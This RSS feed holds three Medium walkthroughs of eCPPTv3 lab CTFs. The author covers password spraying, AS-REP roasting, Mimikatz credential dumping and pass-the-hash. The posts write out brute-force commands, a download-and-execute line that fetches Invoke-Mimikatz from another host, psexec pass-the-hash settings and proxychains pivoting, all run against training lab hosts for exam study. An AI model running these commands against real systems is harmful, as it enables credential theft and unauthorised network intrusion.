<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cym4g3 on Medium]]></title>
        <description><![CDATA[Stories by Cym4g3 on Medium]]></description>
        <link>https://medium.com/@cym4g3?source=rss-ae7e5d3b79a9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*f3RHIUHqjD_Egkp0tgIEOg.png</url>
            <title>Stories by Cym4g3 on Medium</title>
            <link>https://medium.com/@cym4g3?source=rss-ae7e5d3b79a9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 05:12:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cym4g3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[eCPPTv3: Active Directory Pentesting — Think Less, Enumerate More]]></title>
            <link>https://medium.com/@cym4g3/ecpptv3-active-directory-pentesting-think-less-enumerate-more-80a30d65a6f0?source=rss-ae7e5d3b79a9------2</link>
            <guid isPermaLink="false">https://medium.com/p/80a30d65a6f0</guid>
            <dc:creator><![CDATA[Cym4g3]]></dc:creator>
            <pubDate>Wed, 15 Jul 2026 11:04:34 GMT</pubDate>
            <atom:updated>2026-07-15T11:04:34.346Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to the last CTF of the eCPPT certification!<br> If you are reading this write-up, then congrats! You made it till the end of the INE eCPPT material, and you are testing your knowledge for the last time before the actual certification exam!</p><p>This CTF is important and defining for our experience in the eCPPT exam environment, while tasks seem rather simple, always beware of hidden traps (where you actually learn through research, trial, and error)</p><p>And let’s get right into it! ;)</p><p><strong><em>Task 1: Log in as a user with a weak password, i.e., ‘password1’</em></strong></p><p>So this one is a bit obvious, where we will need to discover users and try to spray that weak password on them,</p><p>Let’s see how we will do that..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WUm3lQvW7HfRWej8is5_fw.png" /></figure><p>So we opened a PowerShell as admin, navigated to the provided tools directory, and bypassed the PowerShell execution policy to avoid the annoying warnings and potential workflow disturbance, and then we invoked PowerView.ps1 Since it is the official INE tool for AD.. UwU.<br> And then we enumerate the domain users and save them to users.txt to use them later for password spraying.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XZFHLp4rt3CrSTvp4e4Fsw.png" /></figure><p>Now we invoke DomainPasswordSpray.ps1 And run our <strong><em>Password Spraying attack</em></strong> to figure out our next target! we can use rdp connection for lateral movement<br> so when i opened the remote desktop connection i saw target.research.security.local,</p><p>and i added username as the name we got! We connected using the creds we sprayed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*5p6AgnToeNtu-wPm6i8JsQ.png" /></figure><p>And we have our first FLAG! Great start and rather simple for now.</p><p><strong><em>Task 2: Identify accounts with ‘Do not require preauthentication’ enabled</em></strong></p><p>So, the second task, in other words, means: find <a href="https://medium.com/AS-REP%20Roasting">AS-REP Roasting</a> vulnerable accounts, which is also rather simple, and we need nothing more than our default playbook from the previous INE materials :3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*ZtnpicoPtOdmQfhDHCvJyA.png" /></figure><p>First, we need to start our HFS server from the first machine and move all the scripts we need to enumerate and exploit vulnerable users. We need PowerView, and I added Mimikatz for future usage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdQ2qsRw586GIctED365Eg.png" /></figure><p>And we have the <a href="https://medium.com/AS-REP%20Roastable">AS-REP Roastable</a> user, and to keep going with the playbook, we need rubeus.exe now to roast the user ;)</p><p>So we move through hfs.exe Rubeus.exe 10k-worst-passwords.txt to our second machine, and we crack the hash we got using Rubeus.exe asreproast /user:*redacted* /outfile:hashforjohncrack.txt and then extract john zip file and use `.\run\john.exe .\hashforjohncrack.txt --format=krb5asrep -wordlist=.\10-worst-passwords.txt</p><p>And we get the plaintext password ^^ <em>and take a sip of water; don’t forget to rest.</em></p><p>We use that for RDP, but I went for PowerShell right away since it’s lighter and faster.</p><p><strong><em>Task 3: Enumerate domain and local admin privileges and establish a remote session</em></strong></p><p>This made me search A LOTTT, and then I found it on the first machine xD</p><p>just the first client machine that you have used</p><pre>powershell -ep bypass  <br>. .\PowerView.ps1  <br>Find-LocalAdminAccess</pre><p>and you will get some domain machines that you can PSSession to :D</p><p><strong><em>Task 4: Extract and use the NTLM hash of a vulnerable machine account to gain access to the domain controller</em></strong></p><p>now from the PSSession We got from the first machine, we need to extract NTLM hashes to be able to access the domain controller, so we do the same, we use this iex (New-Object Net.WebClient).DownloadString(&#39;http://10.0.5.101/Invoke-Mimikatz.ps1&#39;) -OutFile mimi.ps1 and . .\mimi.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O7YnsnoU5BSNce65xCks-w.png" /></figure><p>to get the ntlm hash</p><p>And we go back to our first client machine and then use Mimikatz again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bxqThbBofxymHoDFL9EXw.png" /></figure><p>And here u go, just use PSSession again to get to the domain controller, and that&#39;s all!!</p><p>Congrats on finishing the last CTF!! I would still suggest going through training labs on major platforms to be fully prepared!</p><p>See you in another preparation!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80a30d65a6f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eCPPT: Lateral Movement & Pivoting — The “Stop Overthinking It” Run]]></title>
            <link>https://medium.com/@cym4g3/ecppt-lateral-movement-pivoting-ctf-the-stop-overthinking-it-run-74c70f3b9c7b?source=rss-ae7e5d3b79a9------2</link>
            <guid isPermaLink="false">https://medium.com/p/74c70f3b9c7b</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ecpptv3]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ine]]></category>
            <dc:creator><![CDATA[Cym4g3]]></dc:creator>
            <pubDate>Sat, 20 Jun 2026 09:01:02 GMT</pubDate>
            <atom:updated>2026-07-03T23:29:49.469Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello! back to eCPPT module’s CTFs again after a warrior’s break :D, today we have an interesting CTF which is focused on lateral movements and pivoting. It is a rather simple module, but I’m PRETTY SURE we will face some blockages that might be of interest to us, so let’s begin!!</p><p><strong>Task 1: Exploit open services on target1.ine.local to gain initial access</strong></p><p>I think this one is going to be easy, so let’s cat first our hosts file and then nmap The first machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ru6GfUtAZ6_l6EAQRuXHAQ.png" /></figure><p>So first off, we see that it’s serving SSH and MySQL server, so we read the hint that the user john has a weak password, so we jump right into Hydra and start attacking using the username john!!</p><pre>hydra -l john -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh</pre><p>and boom! We get our first password, and we connect using SSH!</p><p>We got the first flag right after connecting, so let’s go to task 2!</p><p><strong><em>Task 2: Enumerate databases on target1.ine.local to retrieve hidden credentials</em></strong></p><p>This one shows we need to connect to the database and retrieve creds from there, so we use</p><pre>mysql -u john -h 127.0.0.1 -p</pre><p>And we are connecting and starting to enumerate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*8cGpjiWKsPfuq7K3xUDNJA.png" /></figure><p>You should be using select * from users</p><p>and select * from target2_users</p><p>And now you have the creds for the second flag and the start of the third task!!</p><p><strong><em>Task 3: Leverage an open service on target2.ine.local to escalate access</em></strong></p><p>just cat it xD</p><p>next UwU</p><p><strong><em>Task 4: Exploit target3.ine.local to obtain Administrator credentials</em></strong></p><p>idk for what reason I struggled with this “I know why: brain rot xD” and for some reason I just skipped brute forcing the important things and started doing weird stuff, but I noticed the task describes that we need to get the administrator’s credentials and that’s literally all what I did xD</p><p>I used CrackMapExec to crack it, and here u go</p><pre>crackmapexec smb 10.5.21.182 -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</pre><p>And I used PSExec to gain a shell through MSFConsole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*bhxDQg9Qq72FzDqrgxlZcQ.png" /></figure><p>so just cd / &amp;&amp; cat flag4.txt And there you go!</p><p>Let’s go for the last flag!</p><p><strong><em>Task 5: Pivot from target3.ine.local to target4.ine.local using discovered hashes</em></strong></p><p>So here I would like to remind you all that overworking might cost you a lot of health/mental/financial issues. Remember to rest, have fun, and reward yourself even for small achievements! you still made it through❤</p><p>This task took me quite some time since I focused on hashdump and autoroute while trying to pass the same hash I got from the hashdump result on target3, which was not the correct decision, and I didn&#39;t get any result, until I needed to go back and search again to find it,</p><p>First off, the last machine is only accessible through target3, which means that we need to make a route to be able to reach it from our machine. Let’s do that!</p><pre>search autoroute<br>use 0<br>set session 1<br>run</pre><p>And then I went back to target 3 and saw clearly in the C:\ directory beside flag4.txt that we have a file called Hash.txt which contains our actual NT hash</p><p>So we take the hash, and we go back to MSFConsole.</p><pre>use exploit/windows/smb/psexec<br>set rhosts &lt;target ip&gt;<br>set smbuser administrator<br>set smbpass aad3b435b51404eeaad3b435b51404ee:&lt;the nt hash you got&gt;<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z6wAruqk_WN0Yl3SW6QnpA.png" /></figure><p>And voila, that’s all u gotta do to gain the last flag!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*NrajV3N5bf9OVfZomi5fZQ.png" /></figure><p>Hopefully it was useful! :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*mNfrV5MHpYi34I_f4tn3RA.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74c70f3b9c7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eCPPTv3 Network Penetration Testing Interesting Ideas]]></title>
            <link>https://medium.com/@cym4g3/ecpptv3-network-penetration-testing-ctf-1-fc5973528965?source=rss-ae7e5d3b79a9------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc5973528965</guid>
            <category><![CDATA[network]]></category>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[ecpptv3]]></category>
            <category><![CDATA[smb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cym4g3]]></dc:creator>
            <pubDate>Wed, 06 May 2026 16:34:29 GMT</pubDate>
            <atom:updated>2026-07-03T23:34:24.784Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, we will be solving the network Module to assess our understanding of the methods and techniques taught in this section.</p><p>We will be gaining initial access, pivoting, moving laterally, escalating privileges, and hunting flags!</p><p>Let’s start by firing up the lab environment.</p><h3>tools needed</h3><p>- Metasploit Framework<br>- Proxychains<br>- Finger<br>- Nmap<br>- Python<br>- Firefox<br>as advised by INE tasks</p><h3>Overview of the Techniques</h3><p>This Module focuses on using SNMP to extract sensitive data and establish an initial foothold on a target system. You will then escalate privileges and pivot to compromise a vulnerable application on a machine that is not directly accessible from Kali. Through uncovering sensitive data, gaining shell access, exploiting vulnerabilities, and elevating privileges, you will progress through a multi-stage attack scenario.`</p><h3>1- Idea 1: Leverage SNMP to uncover a user with access to a sensitive share on server.prod.local</h3><p>Use SNMP to identify a user with access to a sensitive share on **server.prod.local**. Locate the first flag within this share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*fiXjt6GapGikDToub8kR4Q.png" /></figure><p>We start off by nmapping the first host we find smb, and MSSQL, but we get a hint from the Module task that there is an SNMP port we need to catch, so we make an -sU nmap scan to search for that, and we get a filtered|open SNMP port.</p><p>So we start brute forcing on the SNMP service to figure out community strings that are available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*WeJ6sw8WN1Q1Z7gftmhASQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VCYWVRdLiAWz_EWNNNXTvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcNScX-_6GUD6C_ZbJP63Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46NvjGbYwLgUK9d6d2El_A.png" /></figure><p>i tried using nmap scripts, but no luck, so we go straight with a brute forcing tool like Hydra, i.e<br>And we get the community string for the SNMP service, and now we can use snmpwalk for the enumeration for users using this `1.3.6.1.4.1.77.1.2.25` with snmpwalk <br><br>And now we have this great output for Windows users, and it’s clear that we will use Hydra once more for smb password brute-forcing. :D</p><p>Hydra is failing for some reason, and nmap shows errors executing scripts as well, i did some deep research about it (ChatGPT xD) and i found that hydra doesn’t support smbv2 and uses SMBv1 negotiation, so i need to switch tools to one that support SMBv2 or 3 to be able to bruteforce passwords, so i will use crackmapexec for this time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HPsyOBAzHCijDj9XMTwEtA.png" /></figure><p>i used `crackmapexec smb server.prod.local -u snmp_users -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt`</p><p>And I got the user:password as a result!<br>And we will use that for smbclient login and enumeration!</p><p>First, we need to enumerate shares that the user has access to. I will use Metasploit Framework for simplicity</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlAMwhaHXljHCc876dfcWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_5FBbnYVD-tsBvF4jSI4jw.png" /></figure><p>I tried the rest of the shares, and the one we have access to is secrets so let&#39;s search that!</p><p>Here is your first flag and the hint for the next Idea!</p><h3>Idea 2: Obtain a shell on server.prod.local</h3><p>Gain shell access on **server.prod.local**. Locate the second flag in the C drive.</p><p>Now we see clearly that we have to gain shell on the server through the mssql service,</p><p>so let’s first connect to the DB and see what we have, it will be a lot of queries, so I will post a bunch of pictures here :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xh8JJAsb3FvQnFirut9BgA.png" /></figure><p>This process is described in detail inside the module we just finished, so do the exact same (note-taking checkpoint :D)</p><p>and we gained a shell into the server (first machine)</p><p>Idea 3 is so simple, no need to mention it :P</p><p>Now let’s test the next machine!</p><h3>Idea 4: Exploit a vulnerable application on web.prod.local</h3><p>A vulnerable application is running on **web.prod.local**, which is not directly accessible from Kali. Use your foothold to exploit this application and compromise the system. Locate the fourth flag in the system’s root directory.</p><p>So we start enumerating the next machine, but first we need to make `autoroute` to pivot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*pb1C9rd14qipjsLQU4F26A.png" /></figure><p>Now we see that it&#39;s a web server, so we make port forwarding to see what the web server is running on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*GY9PbXK-EFBzSytF0UPfcw.png" /></figure><p>The hardest task in this certification is to keep calm while the environment does this :D</p><p>I forwarded the 80 port on the machine to localhost:8081</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*BLuUVQskyFcobIIWfVMZsQ.png" /></figure><p>I opened the browser and looked at the page, saw Spip, did some research so it&#39;s a service, and opened the source to see which version it is, and i found that the version is `4.3.1`</p><p>So I searched for vulnerabilities on searchsploit, the old environment is not up to date, so I need to search it online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ky4E6BAPmsbirJg6IXwGBA.png" /></figure><p>nice! Now, because we are isolated in the guacamole environment, we gotta `nano exploit.py` and just copy and paste the exploit ._.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEc9MrW9wilNFE_wtX6gBw.png" /></figure><p>The usage according to the owner is: `python3 exploit.py http://&lt;target_ip&gt;`</p><p>And we, of course, need to close the port forwarding and start the SOCKS proxy to be able to reach it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PG__oqRfKUAQXTCtMz3qSw.png" /></figure><p>Now we configure the socks to our /etc/proxychains4 file on the machine and start the proxy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*aTN46C24M0cncfi3H34goQ.png" /></figure><p>Now use `proxychains` before any command that you want to reach the target we&#39;re hacking!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*86I78Dd0KQOtHCKsl9B3rw.png" /></figure><p>perfecto!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcQEXwEAHrWNAVl_kqnRIQ.png" /></figure><p>I spent quite some time here because the shell is non-interactive, so I can’t do a lot of things, but I kept ls-ing everything till I saw the user profile and now I need to further check this system for potential user password bruteforcing.. (yes.. again)</p><p>Now I remember, while we were port scanning, we had port 79 open!! (finger service)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*pb1C9rd14qipjsLQU4F26A.png" /></figure><p>So let&#39;s try to use that finger U_U</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*LXJrnJWCnGw1vr3E9kw5EA.png" /></figure><p>Now we see that the auditor’s backups are on /var/opt/.backups so let&#39;s go `ls` that too</p><p>We got the private key, so we saved it on our machine and login with ssh using this key!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*7ftYMEcYjvFgdLP8i9bdWQ.png" /></figure><p>`proxychains ssh -i key auditor@10.5.30.152`</p><p>And we get the auditor’s shell!</p><h3>Idea 5: Examine a user’s .plan file on web.prod.local for a privilege escalation opportunity</h3><p>Analyze a user’s .plan file on **web.prod.local** to uncover a potential path for privilege escalation. Locate the fifth flag in the root user’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFzTymmU9aFRN0IaokTekA.png" /></figure><p>Now we have `NOPASSWD: /usr/bin/pip` and we can use that for privilege escalation. Let’s search gtfobins and ChatGPT for it</p><p>okay this needed some time :D **REMINDER: don’t forget to extend the lab because you may lose your progress like me :’)**</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lmjXZUQkGJD0Qd7TDJiRZg.png" /></figure><p>So here you know that pip is usable and u can use it to install malicious .py code, and I created a code (ChatGPT again xD) to make me able to spawn a rootshell<br>And then continuing with the task **find flag in root directory** i just located flag5 and submitted it, and that’s it!!</p><p>It was a very informativeModule, <br>wait for more write-ups while I go through eCPPTv3 Material!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*a8byLz019IXLgV7kAarrcg.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc5973528965" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>